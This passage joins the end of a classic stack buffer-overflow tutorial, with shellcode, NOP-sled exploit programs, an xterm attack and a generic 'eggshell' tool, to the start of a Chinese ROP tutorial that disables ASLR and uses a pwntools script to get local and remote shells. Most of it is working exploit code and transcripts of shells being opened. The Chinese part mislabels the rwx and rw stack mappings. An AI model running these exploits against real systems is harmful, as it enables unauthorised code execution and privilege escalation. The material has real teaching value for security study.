Problem instruction:                 Substitute with:
——————————————————–
movb   $0x0,0x7(%esi)                xorl   %eax,%eax
molv   $0x0,0xc(%esi)                movb   %eax,0x7(%esi)
movl   %eax,0xc(%esi)
——————————————————–
movl   $0xb,%eax                     movb   $0xb,%al
——————————————————–
movl   $0x1, %eax                    xorl   %ebx,%ebx
movl   $0x0, %ebx                    movl   %ebx,%eax
inc    %eax
——————————————————–

Our improved code:

shellcodeasm2.c
——————————————————————————
void main() {
__asm__(”
jmp    0x1f                     # 2 bytes
popl   %esi                     # 1 byte
movl   %esi,0x8(%esi)           # 3 bytes
xorl   %eax,%eax                # 2 bytes
movb   %eax,0x7(%esi) # 3 bytes
movl   %eax,0xc(%esi)           # 3 bytes
movb   $0xb,%al                 # 2 bytes
movl   %esi,%ebx                # 2 bytes
leal   0x8(%esi),%ecx           # 3 bytes
leal   0xc(%esi),%edx           # 3 bytes
int    $0x80                    # 2 bytes
xorl   %ebx,%ebx                # 2 bytes
movl   %ebx,%eax                # 2 bytes
inc    %eax                     # 1 bytes
int    $0x80                    # 2 bytes
call   -0x24                    # 5 bytes
.string \”/bin/sh\”             # 8 bytes
# 46 bytes total
“);
}
——————————————————————————

And our new test program:

testsc2.c
——————————————————————————
char shellcode[] =
“\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b”
“\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd”
“\x80\xe8\xdc\xff\xff\xff/bin/sh”;

void main() {
int *ret;

ret = (int *)&ret + 2;
(*ret) = (int)shellcode;

}
——————————————————————————
——————————————————————————
[aleph1]$ gcc -o testsc2 testsc2.c
[aleph1]$ ./testsc2
$ exit
[aleph1]$
——————————————————————————

Writing an Exploit
~~~~~~~~~~~~~~~~~~
(or how to mung the stack)
~~~~~~~~~~~~~~~~~~~~~~~~~~

Lets try to pull all our pieces together.  We have the shellcode.  We know
it must be part of the string which we’ll use to overflow the buffer.  We
know we must point the return address back into the buffer.  This example will
demonstrate these points:

overflow1.c
——————————————————————————
char shellcode[] =
“\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b”
“\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd”
“\x80\xe8\xdc\xff\xff\xff/bin/sh”;

char large_string[128];

void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;

for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;

for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];

strcpy(buffer,large_string);
}
——————————————————————————

——————————————————————————
[aleph1]$ gcc -o exploit1 exploit1.c
[aleph1]$ ./exploit1
$ exit
exit
[aleph1]$
——————————————————————————

What we have done above is filled the array large_string[] with the
address of buffer[], which is where our code will be.  Then we copy our
shellcode into the beginning of the large_string string.  strcpy() will then
copy large_string onto buffer without doing any bounds checking, and will
overflow the return address, overwriting it with the address where our code
is now located.  Once we reach the end of main and it tried to return it
jumps to our code, and execs a shell.

The problem we are faced when trying to overflow the buffer of another
program is trying to figure out at what address the buffer (and thus our
code) will be.  The answer is that for every program the stack will
start at the same address.  Most programs do not push more than a few hundred
or a few thousand bytes into the stack at any one time.  Therefore by knowing
where the stack starts we can try to guess where the buffer we are trying to
overflow will be.  Here is a little program that will print its stack
pointer:

sp.c
——————————————————————————
unsigned long get_sp(void) {
__asm__(“movl %esp,%eax”);
}
void main() {
printf(“0x%x\n”, get_sp());
}
——————————————————————————

——————————————————————————
[aleph1]$ ./sp
0x8000470
[aleph1]$
——————————————————————————

Lets assume this is the program we are trying to overflow is:

vulnerable.c
——————————————————————————
void main(int argc, char *argv[]) {
char buffer[512];

if (argc > 1)
strcpy(buffer,argv[1]);
}
——————————————————————————

We can create a program that takes as a parameter a buffer size, and an
offset from its own stack pointer (where we believe the buffer we want to
overflow may live).  We’ll put the overflow string in an environment variable
so it is easy to manipulate:

exploit2.c
——————————————————————————
#include <stdlib.h>

#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             512

char shellcode[] =
“\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b”
“\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd”
“\x80\xe8\xdc\xff\xff\xff/bin/sh”;

unsigned long get_sp(void) {
__asm__(“movl %esp,%eax”);
}

void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;

if (argc > 1) bsize  = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);

if (!(buff = malloc(bsize))) {
printf(“Can’t allocate memory.\n”);
exit(0);
}

addr = get_sp() – offset;
printf(“Using address: 0x%x\n”, addr);

ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;

ptr += 4;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];

buff[bsize – 1] = ‘\0′;

memcpy(buff,”EGG=”,4);
putenv(buff);
system(“/bin/bash”);
}
——————————————————————————

Now we can try to guess what the buffer and offset should be:

——————————————————————————
[aleph1]$ ./exploit2 500
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
[aleph1]$ exit
[aleph1]$ ./exploit2 600
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
Illegal instruction
[aleph1]$ exit
[aleph1]$ ./exploit2 600 100
Using address: 0xbffffd4c
[aleph1]$ ./vulnerable $EGG
Segmentation fault
[aleph1]$ exit
[aleph1]$ ./exploit2 600 200
Using address: 0xbffffce8
[aleph1]$ ./vulnerable $EGG
Segmentation fault
[aleph1]$ exit
.
.
.
[aleph1]$ ./exploit2 600 1564
Using address: 0xbffff794
[aleph1]$ ./vulnerable $EGG
$
——————————————————————————

As we can see this is not an efficient process.  Trying to guess the
offset even while knowing where the beginning of the stack lives is nearly
impossible.  We would need at best a hundred tries, and at worst a couple of
thousand.  The problem is we need to guess *exactly* where the address of our
code will start.  If we are off by one byte more or less we will just get a
segmentation violation or a invalid instruction.  One way to increase our
chances is to pad the front of our overflow buffer with NOP instructions.
Almost all processors have a NOP instruction that performs a null operation.
It is usually used to delay execution for purposes of timing.  We will take
advantage of it and fill half of our overflow buffer with them.  We will place
our shellcode at the center, and then follow it with the return addresses. If
we are lucky and the return address points anywhere in the string of NOPs,
they will just get executed until they reach our code.  In the Intel
architecture the NOP instruction is one byte long and it translates to 0x90
in machine code.  Assuming the stack starts at address 0xFF, that S stands for
shell code, and that N stands for a NOP instruction the new stack would look
like this:

bottom of  DDDDDDDDEEEEEEEEEEEE  EEEE  FFFF  FFFF  FFFF  FFFF     top of
memory     89ABCDEF0123456789AB  CDEF  0123  4567  89AB  CDEF     memory
buffer                sfp   ret   a     b     c

<——   [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE]
^                     |
|_____________________|
top of                                                            bottom of
stack                                                                 stack

The new exploits is then:

exploit3.c
——————————————————————————
#include <stdlib.h>

#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             512
#define NOP                            0x90

char shellcode[] =
“\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b”
“\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd”
“\x80\xe8\xdc\xff\xff\xff/bin/sh”;

unsigned long get_sp(void) {
__asm__(“movl %esp,%eax”);
}

void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;

if (argc > 1) bsize  = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);

if (!(buff = malloc(bsize))) {
printf(“Can’t allocate memory.\n”);
exit(0);
}

addr = get_sp() – offset;
printf(“Using address: 0x%x\n”, addr);

ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;

for (i = 0; i < bsize/2; i++)
buff[i] = NOP;

ptr = buff + ((bsize/2) – (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];

buff[bsize – 1] = ‘\0′;

memcpy(buff,”EGG=”,4);
putenv(buff);
system(“/bin/bash”);
}
——————————————————————————

A good selection for our buffer size is about 100 bytes more than the size
of the buffer we are trying to overflow.  This will place our code at the end
of the buffer we are trying to overflow, giving a lot of space for the NOPs,
but still overwriting the return address with the address we guessed.  The
buffer we are trying to overflow is 512 bytes long, so we’ll use 612.  Let’s
try to overflow our test program with our new exploit:

——————————————————————————
[aleph1]$ ./exploit3 612
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
$
——————————————————————————

Whoa!  First try!  This change has improved our chances a hundredfold.
Let’s try it now on a real case of a buffer overflow.  We’ll use for our
demonstration the buffer overflow on the Xt library.  For our example, we’ll
use xterm (all programs linked with the Xt library are vulnerable). You must
be running an X server and allow connections to it from the localhost.  Set
your DISPLAY variable accordingly.

——————————————————————————
[aleph1]$ export DISPLAY=:0.0
[aleph1]$ ./exploit3 1124
Using address: 0xbffffdb4
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: Color name “^1FF

V

1@/bin/sh

^C
[aleph1]$ exit
[aleph1]$ ./exploit3 2148 100
Using address: 0xbffffd48
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: Color name “^1FF

V

1@/bin/shHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH

HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH

HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH

HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH

HHHHHHHHHHHH
Warning: some arguments in previous message were lost
Illegal instruction
[aleph1]$ exit
.
.
.
[aleph1]$ ./exploit4 2148 600
Using address: 0xbffffb54
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: Color name “^1FF

V

1@/bin/shTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT

TTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT

TTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT

TTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT

TTTTTTTTTTTT
Warning: some arguments in previous message were lost
bash$
——————————————————————————

Eureka! Less than a dozen tries and we found the magic numbers. If xterm
where installed suid root this would now be a root shell.

Small Buffer Overflows
~~~~~~~~~~~~~~~~~~~~~~

There will be times when the buffer you are trying to overflow is so
small that either the shellcode wont fit into it, and it will overwrite the
return address with instructions instead of the address of our code, or the
number of NOPs you can pad the front of the string with is so small that the
chances of guessing their address is minuscule.  To obtain a shell from these
programs we will have to go about it another way.  This particular approach
only works when you have access to the program’s environment variables.

What we will do is place our shellcode in an environment variable, and
then overflow the buffer with the address of this variable in memory.  This
method also increases your changes of the exploit working as you can make
the environment variable holding the shell code as large as you want.

The environment variables are stored in the top of the stack when the
program is started, any modification by setenv() are then allocated
elsewhere.  The stack at the beginning then looks like this:

<strings><argv pointers>NULL<envp pointers>NULL<argc><argv><envp>

Our new program will take an extra variable, the size of the variable
containing the shellcode and NOPs. Our new exploit now looks like this:

exploit4.c
——————————————————————————
#include <stdlib.h>

#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             512
#define DEFAULT_EGG_SIZE               2048
#define NOP                            0x90

char shellcode[] =
“\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b”
“\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd”
“\x80\xe8\xdc\xff\xff\xff/bin/sh”;

unsigned long get_esp(void) {
__asm__(“movl %esp,%eax”);
}

void main(int argc, char *argv[]) {
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, eggsize=DEFAULT_EGG_SIZE;

if (argc > 1) bsize   = atoi(argv[1]);
if (argc > 2) offset  = atoi(argv[2]);
if (argc > 3) eggsize = atoi(argv[3]);

if (!(buff = malloc(bsize))) {
printf(“Can’t allocate memory.\n”);
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf(“Can’t allocate memory.\n”);
exit(0);
}

addr = get_esp() – offset;
printf(“Using address: 0x%x\n”, addr);

ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;

ptr = egg;
for (i = 0; i < eggsize – strlen(shellcode) – 1; i++)
*(ptr++) = NOP;

for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];

buff[bsize – 1] = ‘\0′;
egg[eggsize – 1] = ‘\0′;

memcpy(egg,”EGG=”,4);
putenv(egg);
memcpy(buff,”RET=”,4);
putenv(buff);
system(“/bin/bash”);
}
——————————————————————————

Lets try our new exploit with our vulnerable test program:

——————————————————————————
[aleph1]$ ./exploit4 768
Using address: 0xbffffdb0
[aleph1]$ ./vulnerable $RET
$
——————————————————————————

Works like a charm. Now lets try it on xterm:

——————————————————————————
[aleph1]$ export DISPLAY=:0.0
[aleph1]$ ./exploit4 2148
Using address: 0xbffffdb0
[aleph1]$ /usr/X11R6/bin/xterm -fg $RET
Warning: Color name

Warning: some arguments in previous message were lost
$
——————————————————————————

On the first try!  It has certainly increased our odds.  Depending how
much environment data the exploit program has compared with the program
you are trying to exploit the guessed address may be to low or to high.
Experiment both with positive and negative offsets.

Finding Buffer Overflows
~~~~~~~~~~~~~~~~~~~~~~~~

As stated earlier, buffer overflows are the result of stuffing more
information into a buffer than it is meant to hold.  Since C does not have any
built-in bounds checking, overflows often manifest themselves as writing past
the end of a character array.  The standard C library provides a number of
functions for copying or appending strings, that perform no boundary checking.
They include: strcat(), strcpy(), sprintf(), and vsprintf(). These functions
operate on null-terminated strings, and do not check for overflow of the
receiving string.  gets() is a function that reads a line from stdin into
a buffer until either a terminating newline or EOF.  It performs no checks for
buffer overflows.  The scanf() family of functions can also be a problem if
you are matching a sequence of non-white-space characters (%s), or matching a
non-empty sequence of characters from a specified set (%[]), and the array
pointed to by the char pointer, is not large enough to accept the whole
sequence of characters, and you have not defined the optional maximum field
width.  If the target of any of these functions is a buffer of static size,
and its other argument was somehow derived from user input there is a good
posibility that you might be able to exploit a buffer overflow.

Another usual programming construct we find is the use of a while loop to
read one character at a time into a buffer from stdin or some file until the
end of line, end of file, or some other delimiter is reached.  This type of
construct usually uses one of these functions: getc(), fgetc(), or getchar().
If there is no explicit checks for overflows in the while loop, such programs
are easily exploited.

To conclude, grep(1) is your friend.  The sources for free operating
systems and their utilities is readily available.  This fact becomes quite
interesting once you realize that many comercial operating systems utilities
where derived from the same sources as the free ones.  Use the source d00d.

Appendix A – Shellcode for Different Operating Systems/Architectures
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

i386/Linux
——————————————————————————
jmp    0x1f
popl   %esi
movl   %esi,0x8(%esi)
xorl   %eax,%eax
movb   %eax,0x7(%esi)
movl   %eax,0xc(%esi)
movb   $0xb,%al
movl   %esi,%ebx
leal   0x8(%esi),%ecx
leal   0xc(%esi),%edx
int    $0x80
xorl   %ebx,%ebx
movl   %ebx,%eax
inc    %eax
int    $0x80
call   -0x24
.string \”/bin/sh\”
——————————————————————————

SPARC/Solaris
——————————————————————————
sethi   0xbd89a, %l6
or      %l6, 0x16e, %l6
sethi   0xbdcda, %l7
and     %sp, %sp, %o0
add     %sp, 8, %o1
xor     %o2, %o2, %o2
add     %sp, 16, %sp
std     %l6, [%sp – 16]
st      %sp, [%sp – 8]
st      %g0, [%sp – 4]
mov     0x3b, %g1
ta      8
xor     %o7, %o7, %o0
mov     1, %g1
ta      8
——————————————————————————

SPARC/SunOS
——————————————————————————
sethi   0xbd89a, %l6
or      %l6, 0x16e, %l6
sethi   0xbdcda, %l7
and     %sp, %sp, %o0
add     %sp, 8, %o1
xor     %o2, %o2, %o2
add     %sp, 16, %sp
std     %l6, [%sp – 16]
st      %sp, [%sp – 8]
st      %g0, [%sp – 4]
mov     0x3b, %g1
mov -0x1, %l5
ta      %l5 + 1
xor     %o7, %o7, %o0
mov     1, %g1
ta      %l5 + 1
——————————————————————————

Appendix B – Generic Buffer Overflow Program
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

shellcode.h
——————————————————————————
#if defined(__i386__) && defined(__linux__)

#define NOP_SIZE 1
char nop[] = “\x90″;
char shellcode[] =
“\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b”
“\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd”
“\x80\xe8\xdc\xff\xff\xff/bin/sh”;

unsigned long get_sp(void) {
__asm__(“movl %esp,%eax”);
}

#elif defined(__sparc__) && defined(__sun__) && defined(__svr4__)

#define NOP_SIZE 4
char nop[]=”\xac\x15\xa1\x6e”;
char shellcode[] =
“\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e”
“\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0″
“\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08″
“\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08″;

unsigned long get_sp(void) {
__asm__(“or %sp, %sp, %i0″);
}

#elif defined(__sparc__) && defined(__sun__)

#define NOP_SIZE        4
char nop[]=”\xac\x15\xa1\x6e”;
char shellcode[] =
“\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e”
“\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0″
“\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff”
“\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01″;

unsigned long get_sp(void) {
__asm__(“or %sp, %sp, %i0″);
}

#endif
——————————————————————————

eggshell.c
——————————————————————————
/*
* eggshell v1.0
*
* Aleph One / aleph1@underground.org
*/
#include <stdlib.h>
#include <stdio.h>
#include “shellcode.h”

#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             512
#define DEFAULT_EGG_SIZE               2048

void usage(void);

void main(int argc, char *argv[]) {
char *ptr, *bof, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE;

while ((c = getopt(argc, argv, “a:b:e:o:”)) != EOF)
switch (c) {
case ‘a':
align = atoi(optarg);
break;
case ‘b':
bsize = atoi(optarg);
break;
case ‘e':
eggsize = atoi(optarg);
break;
case ‘o':
offset = atoi(optarg);
break;
case ‘?':
usage();
exit(0);
}

if (strlen(shellcode) > eggsize) {
printf(“Shellcode is larger the the egg.\n”);
exit(0);
}

if (!(bof = malloc(bsize))) {
printf(“Can’t allocate memory.\n”);
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf(“Can’t allocate memory.\n”);
exit(0);
}

addr = get_sp() – offset;
printf(“[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n”,
bsize, eggsize, align);
printf(“[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n”, addr, offset);

addr_ptr = (long *) bof;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;

ptr = egg;
for (i = 0; i <= eggsize – strlen(shellcode) – NOP_SIZE; i += NOP_SIZE)
for (n = 0; n < NOP_SIZE; n++) {
m = (n + align) % NOP_SIZE;
*(ptr++) = nop[m];
}

for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];

bof[bsize – 1] = ‘\0′;
egg[eggsize – 1] = ‘\0′;

memcpy(egg,”EGG=”,4);
putenv(egg);

memcpy(bof,”BOF=”,4);
putenv(bof);
system(“/bin/sh”);
}

void usage(void) {
(void)fprintf(stderr,
“usage: eggshell [-a <alignment>] [-b <buffersize>] [-e <eggsize>] [-o <offset>]\n”);
}
——————————————————————————

Hacking Tips 1: 一步一步学ROP之linux_x86篇

ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)。虽然现 在大家都在用64位的操作系统,但是想要扎实的学好ROP还是得从基础的x86系统开始,但看官请不要着急,在随后的教程中我们还会带来 linux_x64以及android (arm)方面的ROP利用方法,欢迎大家继续学习。

0x01 Control Flow Hijack 程序流劫持

比较常见的程序流劫持就是栈溢出,格式化字符串攻击和堆溢出了。通过程序流劫持,攻击者可以控制PC指针从而执行目标代码。为了应对这种攻击,系 统防御者也提出了各种防御方法,最常见的方法有DEP(堆栈不可执行),ASLR(内存地址随机化),Stack Protector(栈保护)等。但是如果上来就部署全部的防御,初学者可能会觉得无从下手,所以我们先从最简单的没有任何保护的程序开始,随后再一步步 增加各种防御措施,接着再学习绕过的方法,循序渐进。

首先来看这个有明显缓冲区溢出的程序:

#!c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vulnerable_function() {
  char buf[128];
  read(STDIN_FILENO, buf, 256);
}
int main(int argc, char** argv) {
  vulnerable_function();
  write(STDOUT_FILENO, "Hello, World\n", 13);
}

这里我们用

#bash
gcc -fno-stack-protector -z execstack -o level1 level1.c

这个命令编译程序。 -fno-stack-protector-z execstack 这两个参数会分别关掉DEP和 Stack Protector 。同时我们在shell中执行:

#!bash
sudo -s 
echo 0 > /proc/sys/kernel/randomize_va_space
exit

这几个指令。执行完后我们就关掉整个linux系统的ASLR保护。

接下来我们开始对目标程序进行分析。首先我们先来确定溢出点的位置,这里我推荐使用pattern.py这个脚本来进行计算。我们使用如下命令:

#!bash
python pattern.py create 150 

来生成一串测试用的150个字节的字符串:

#!bash
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9

随后我们使用gdb ./level1调试程序。

#!bash
(gdb) run
Starting program: /home/mzheng/CTF/groupstudy/test/level1 
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9

Program received signal SIGSEGV, Segmentation fault.
0x37654136 in ?? ()

我们可以得到内存出错的地址为0x37654136。随后我们使用命令:

#!bash
python pattern.py offset 0x37654136
hex pattern decoded as: 6Ae7
140

就可以非常容易的计算出PC返回值的覆盖点为140个字节。我们只要构造一个”A”*140+ret字符串,就可以让pc执行ret地址上的代码了。

接下来我们需要一段shellcode,可以用msf生成,或者自己反编译一下。

#!c
# execve ("/bin/sh") 
# xor ecx, ecx
# mul ecx
# push ecx
# push 0x68732f2f   ;; hs//
# push 0x6e69622f   ;; nib/
# mov ebx, esp
# mov al, 11
# int 0x80

shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"

这里我们使用一段最简单的执行 execve ("/bin/sh") 命令的语句作为shellcode。

溢出点有了,shellcode有了,下一步就是控制PC跳转到shellcode的地址上:

[shellcode][“AAAAAAAAAAAAAA”….][ret]
^------------------------------------------------|

对初学者来说这个shellcode地址的位置其实是一个坑。因为正常的思维是使用gdb调试目标程序,然后查看内存来确定shellcode的 位置。但当你真的执行exp的时候你会发现shellcode压根就不在这个地址上!这是为什么呢?原因是gdb的调试环境会影响buf在内存中的位置, 虽然我们关闭了ASLR,但这只能保证buf的地址在gdb的调试环境中不变,但当我们直接执行./level1的时候,buf的位置会固定在别的地址 上。怎么解决这个问题呢?

最简单的方法就是开启core dump这个功能。

#!bash
ulimit -c unlimited
sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'

开启之后,当出现内存错误的时候,系统会生成一个core dump文件在tmp目录下。然后我们再用gdb查看这个core文件就可以获取到buf真正的地址了。

#!bash
$./level1 
ABCDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)

$ gdb level1 /tmp/core.1433844471 
Core was generated by `./level1'.
Program terminated with signal 11, Segmentation fault.
#0  0x41414141 in ?? ()

(gdb) x/10s $esp-144
0xbffff290:  "ABCD", 'A' <repeats 153 times>, "\n\374\267`\204\004\b"
0xbffff335:  ""

因为溢出点是140个字节,再加上4个字节的ret地址,我们可以计算出buffer的地址为$esp-144。通过gdb的命令 “x/10s $esp-144”,我们可以得到buf的地址为0xbffff290。

OK,现在溢出点,shellcode和返回值地址都有了,可以开始写exp了。写exp的话,我强烈推荐pwntools这个工具,因为它可以非常方便的做到本地调试和远程攻击的转换。本地测试成功后只需要简单的修改一条语句就可以马上进行远程攻击。

#!bash
p = process('./level1')  #本地测试
p = remote('127.0.0.1',10001)  #远程攻击

最终本地测试代码如下:

#!python
#!/usr/bin/env python
from pwn import *

p = process('./level1') 
ret = 0xbffff290

shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"

# p32(ret) == struct.pack("<I",ret) 
#对ret进行编码,将地址转换成内存中的二进制存储形式
payload = shellcode + 'A' * (140 - len(shellcode)) + p32(ret)

p.send(payload) #发送payload

p.interactive()  #开启交互shell

执行exp:

#!bash
$ python exp1.py 
[+] Started program './level1'
[*] Switching to interactive mode
$ whoami
mzheng

接下来我们把这个目标程序作为一个服务绑定到服务器的某个端口上,这里我们可以使用socat这个工具来完成,命令如下:

#!bash
socat TCP4-LISTEN:10001,fork EXEC:./level1

随后这个程序的IO就被重定向到10001这个端口上了,并且可以使用 nc 127.0.0.1 10001来访问我们的目标程序服务了。

因为现在目标程序是跑在socat的环境中,exp脚本除了要把p = process(‘./level1′)换成p = remote(‘127.0.0.1′,10001) 之外,ret的地址还会发生改变。解决方法还是采用生成core dump的方案,然后用gdb调试core文件获取返回地址。然后我们就可以使用exp进行远程溢出啦!

#!bash
python exp1.py 
[+] Opening connection to 127.0.0.1 on port 10001: Done
[*] Switching to interactive mode
$ id
uid=1000(mzheng) gid=1000(mzheng) groups=1000(mzheng),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)

0x02 Ret2libc – Bypass DEP 通过ret2libc绕过DEP防护

现在我们把DEP打开,依然关闭stack protector和ASLR。编译方法如下:

#!bash
gcc -fno-stack-protector -o level2 level2.c

这时候我们如果使用level1的exp来进行测试的话,系统会拒绝执行我们的shellcode。如果你通过 sudo cat /proc/[pid]/maps 查看,你会发现level1的stack是rwx的,但是level2的stack却是rw的。

level1:   bffdf000-c0000000 rw-p 00000000 00:00 0          [stack]
level2:   bffdf000-c0000000 rwxp 00000000 00:00 0          [stack]

那么如何执行shellcode呢?我们知道level2调用了libc.so,并且libc.so里保存了大量可利用的函数,我们如果可以让程序执行 system(“/bin/sh”) 的话,也可以获取到shell。既然思路有了,那么接下来的问题就是如何得到system()这个函数的地址以及”/bin/sh”这个字符串的地址。

如果关掉了ASLR的话,system()函数在内存中的地址是不会变化的,并且libc.so中也包含”/bin/sh”这个字符串,并且这个 字符串的地址也是固定的。那么接下来我们就来找一下这个函数的地址。这时候我们可以使用gdb进行调试。然后通过print和find命令来查找 system和”/bin/sh”字符串的地址。

#!bash
$ gdb ./level2
GNU gdb (Ubuntu/Linaro 7.4-2012.04-0ubuntu2.1) 7.4-2012.04
….
(gdb) break main
Breakpoint 1 at 0x8048430
(gdb) run
Starting program: /home/mzheng/CTF/groupstudy/test/level2 

Breakpoint 1, 0x08048430 in main ()
(gdb) print system
$1 = {<text variable, no debug info>} 0xb7e5f460 <system>
(gdb) print __libc_start_main
$2 = {<text variable, no debug info>} 0xb7e393f0 <__libc_start_main>
